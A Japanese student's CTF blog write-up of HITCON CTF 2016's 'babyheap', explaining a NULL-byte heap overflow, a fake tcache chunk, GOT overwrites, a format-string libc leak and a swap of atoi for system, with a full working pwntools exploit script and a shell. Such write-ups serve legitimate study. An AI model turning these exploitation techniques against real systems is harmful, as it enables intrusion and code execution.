newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 4.11】babyheap - HITCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

 

1: イントロ

bataリストの medium-easy

HITCON CTF 2016の300点問題 "babyheap"

 

 

2: 表層解析

./babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled




3: プログラムの概要と脆弱性

heap領域へのmalloc,delete,editができる

但しdelete,editの回数はglobal変数に記録され

それぞれ2回以上呼ばれた瞬間に_exit()で落ちる

mallocは同時に一度しかできない

 

見つけた脆弱性は以下の通り

1=malloc sizeを10進16文字でしか指定できないがunsigned longキャストしているため非常に大きい値をとれる

2=contentの入力でheapにおいてNULL overflow

3=nameの入力で隣接するcontent malloc addrへのNULL overflow

4=本当にExitするかのユーザへの確認にscanf()を使っている

 

今回主に使用するのは3と4の脆弱性





4: exploitの概要

実験していて気づいたが

scanfのbufがheap領域に作られている

(以下は"n"*0x100ほど入力したときのheapの様子)

0x14c5250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 4113, 
  fd = 0x6e6e6e6e6e6e6e6e, 
  bk = 0x6e6e6e6e6e6e6e6e, 
  fd_nextsize = 0x6e6e6e6e6e6e6e6e, 
  bk_nextsize = 0x6e6e6e6e6e6e6e6e
}

 

 

さて

前述したように3の脆弱性を用いて

content bufferのアドレスの下1byteをNULL overflowすることができる

これによってedit/freeする際に参照するchunkアドレスを前方向にずらすことができる

 

自動で作られるstructure chunkのアドレスはわからないため

overflowによるアドレスの変化は0x0~0xf8で定まらないため

っ先ほどのscanf bufを偽chunkのsize headerで汚染しこのゆらぎを緩衝する

 

f:id:smallkirby:20191001082657p:plain

chunkの様子

 

 

この後にfreeをすると

structure chunkはちゃんと0x20 tcacheに入るが

content chunkは汚染したヘッダに従い0x120 tcacheに入る

よって次に0x120でmallocしたときに

content chunkはstructure chunkを内包するようになり

content chunkのアドレスを任意に書き換えられるようになる

 

 

さてwrite-where-what状態になった

次に以下のGOTを書き換える

・atoi->scanf: これによって生じるFSBでprintf()のlibc addrをleak

・_exit->ret_gadget: edit/deleteを複数回できるようにする

 

pwndbg> telescope 0x602020-0x10 40
00:0000│   0x602010 —▸ 0x7f9db58fc680 (_dl_runtime_resolve_xsave) ◂— push   rbx
01:0008│   0x602018 —▸ 0x7f9db558b950 (free) ◂— push   r15
02:0010│   0x602020 —▸ 0x400746 (_exit@plt+6) ◂— push   1
03:0018│   0x602028 —▸ 0x7f9db5626e60 (__read_chk) ◂— cmp    rdx, rcx
04:0020│   0x602030 —▸ 0x7f9db55749c0 (puts) ◂— push   r13
05:0028│   0x602038 —▸ 0x400776 (__stack_chk_fail@plt+6) ◂— push   4
06:0030│   0x602040 —▸ 0x7f9db5558e80 (printf) ◂— sub    rsp, 0xd8
07:0038│   0x602048 —▸ 0x7f9db55d8840 (alarm) ◂— mov    eax, 0x25
08:0040│   0x602050 —▸ 0x7f9db5604070 (read) ◂— lea    rax, [rip + 0x2e0881]
09:0048│   0x602058 —▸ 0x7f9db5515ab0 (__libc_start_main) ◂— push   r13
0a:0050│   0x602060 —▸ 0x7f9db5532da0 (ssignal) ◂— lea    eax, [rdi - 1]
0b:0058│   0x602068 —▸ 0x7f9db558b070 (malloc) ◂— push   rbp
0c:0060│   0x602070 —▸ 0x7f9db55752f0 (setvbuf) ◂— push   r13
0d:0068│   0x602078 —▸ 0x7f9db5534680 (atoi) ◂— sub    rsp, 8
0e:0070│   0x602080 —▸ 0x7f9db556fec0 (__isoc99_scanf) ◂— push   rbx
0f:0078│   0x602088 ◂— 0x0

 

他のGOTは成城通りに動作するように

PLT+0x6で書き換える

(PLT+0x0ではうまく行かず実験したらこの値でうまく行った)

 

こうしてlibc baseを計算したら

再びatoi()のGOTを書き換えてsystemにする

あとはatoi()の引数に"/bin/sh"を渡したらそれで終わり






5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./babyheap"

rhp1 = {"host":"svc.pwnable.xyz","port":0}
rhp2 = {'host':"localhost",'port':12600}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def new(conn,size,content,name):
  conn.recvuntil(":")
  conn.sendline("1")
  conn.recvuntil(":")
  conn.sendline(str(size))
  conn.recvuntil(":")
  conn.sendline(content)
  conn.recvuntil(":")
  conn.send(name)

def delete(conn):
  conn.recvuntil(":")
  conn.sendline("2")

def edit(conn,content):
  conn.recvuntil(":")
  conn.sendline("3")
  conn.recvuntil(":")
  conn.send(content)

def _exit(conn,sentence):
  conn.recvuntil(":")
  conn.sendline("4")
  conn.recvuntil(")")
  conn.send(sentence)

ret_gadget = 0x00400711
main_addr = 0x400c9e
offset_printf = 0x64e80
#offset_printf = 0x557b0
offset_system = 0x4f440
#offset_system = 0x45380

def exploit(conn):
  print("GOT atoi: "+hex(binf.got["atoi"]))
  print("GOT _exit: "+hex(binf.got["_exit"]))
  
  #pollute scanf buffer and prepare size header(0x121) of fake chunk
  _exit(conn,"n"*8 + p64(0x121)*(4096/8 - 8))
  new(conn,0x80,"A"*0x70,"B"*8)
  delete(conn)


  #overwrite GOTs
  inj = p64(binf.plt["free"]+6)
  inj += p64(ret_gadget) #_exit
  inj += p64(binf.plt["__read_chk"]+6)
  inj += p64(binf.plt["puts"]+0x6)
  inj += p64(binf.plt["__stack_chk_fail"]+6)
  inj += p64(binf.plt["printf"]+6)
  inj += p64(binf.plt["alarm"]+6)
  inj += p64(binf.plt["read"]+6)
  inj += p64(binf.plt["__libc_start_main"]+6)
  inj += p64(binf.plt["signal"]+6)
  inj += p64(binf.plt["malloc"]+6)
  inj += p64(binf.plt["setvbuf"]+6)
  inj += p64(binf.plt["printf"]) #atoi

  new(conn,0x110,p64(binf.got["free"])*(0x100/8),"C")
  edit(conn,inj)

  #leak printf() in libc using scanf replaced with printf()
  conn.recvuntil(":")
  conn.sendline("%9$sABCD"+p64(binf.got["printf"]))
  printf_addr = unpack(conn.recvuntil("ABCD")[:-4].ljust(8,"\0"))
  #calc some addrs
  libc_base = printf_addr - offset_printf
  system_addr = libc_base + offset_system
  print("diff printf-system"+hex(printf_addr-system_addr))
  print("printf: "+hex(printf_addr))
  print("libc base: "+hex(libc_base))
  print("system: "+hex(system_addr))


  #re-overwrite GOTs
  inj = inj[:-8] + p64(system_addr)
  conn.recvuntil(":")
  conn.send("AB\n\0") #atoi() is now printf(). so give three chars and make return 3 to choose 3:Edit.
  conn.recvuntil(":")
  conn.send(inj)
  
  #invoke system() instead of atoi()
  conn.recvuntil(":")
  conn.sendline("/bin/sh\n")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()




結果

[*] Switching to interactive mode
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:$ cat /flag
FLAG={thi5_i5_t35t_f1ag}







続く・・・